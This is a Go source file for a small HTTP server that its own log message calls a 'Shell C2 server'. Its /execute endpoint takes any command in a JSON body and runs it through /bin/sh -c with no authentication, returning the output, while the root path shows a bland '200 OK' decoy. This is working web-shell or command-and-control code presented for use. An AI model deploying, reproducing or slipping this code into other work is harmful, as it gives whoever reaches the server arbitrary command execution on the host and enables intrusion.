|
|
package main |
|
|
|
|
|
import ( |
|
|
"encoding/json" |
|
|
"log" |
|
|
"net/http" |
|
|
"os/exec" |
|
|
"strings" |
|
|
"sync" |
|
|
) |
|
|
|
|
|
|
|
|
type CommandRequest struct { |
|
|
Command string `json:"command"` |
|
|
} |
|
|
|
|
|
|
|
|
type CommandResponse struct { |
|
|
Status string `json:"status"` |
|
|
Output string `json:"output,omitempty"` |
|
|
Error string `json:"error,omitempty"` |
|
|
} |
|
|
|
|
|
var ( |
|
|
commandLock sync.Mutex |
|
|
) |
|
|
|
|
|
func commandHandler(w http.ResponseWriter, r *http.Request) { |
|
|
if r.Method != http.MethodPost { |
|
|
respondError(w, "Method not allowed", http.StatusMethodNotAllowed) |
|
|
return |
|
|
} |
|
|
|
|
|
var req CommandRequest |
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil { |
|
|
respondError(w, "Invalid JSON format", http.StatusBadRequest) |
|
|
return |
|
|
} |
|
|
|
|
|
if strings.TrimSpace(req.Command) == "" { |
|
|
respondError(w, "Command cannot be empty", http.StatusBadRequest) |
|
|
return |
|
|
} |
|
|
|
|
|
response := executeCommand(req.Command) |
|
|
|
|
|
w.Header().Set("Content-Type", "application/json") |
|
|
w.WriteHeader(http.StatusOK) |
|
|
json.NewEncoder(w).Encode(response) |
|
|
} |
|
|
|
|
|
func rootHandler(w http.ResponseWriter, r *http.Request) { |
|
|
w.Header().Set("Content-Type", "text/html") |
|
|
w.WriteHeader(http.StatusOK) |
|
|
w.Write([]byte("200 OK")) |
|
|
} |
|
|
|
|
|
func executeCommand(cmdStr string) CommandResponse { |
|
|
commandLock.Lock() |
|
|
defer commandLock.Unlock() |
|
|
|
|
|
cmd := exec.Command("/bin/sh", "-c", cmdStr) |
|
|
output, err := cmd.CombinedOutput() |
|
|
|
|
|
if err != nil { |
|
|
return CommandResponse{ |
|
|
Status: "error", |
|
|
Error: err.Error(), |
|
|
Output: string(output), |
|
|
} |
|
|
} |
|
|
|
|
|
return CommandResponse{ |
|
|
Status: "success", |
|
|
Output: string(output), |
|
|
} |
|
|
} |
|
|
|
|
|
func respondError(w http.ResponseWriter, message string, statusCode int) { |
|
|
w.Header().Set("Content-Type", "application/json") |
|
|
w.WriteHeader(statusCode) |
|
|
json.NewEncoder(w).Encode(CommandResponse{ |
|
|
Status: "error", |
|
|
Error: message, |
|
|
}) |
|
|
} |
|
|
|
|
|
func main() { |
|
|
http.HandleFunc("/", rootHandler) |
|
|
http.HandleFunc("/execute", commandHandler) |
|
|
|
|
|
port := ":8080" |
|
|
log.Printf("Shell C2 server running on port %s\n", port) |
|
|
log.Fatal(http.ListenAndServe(port, nil)) |
|
|
} |
|
|
|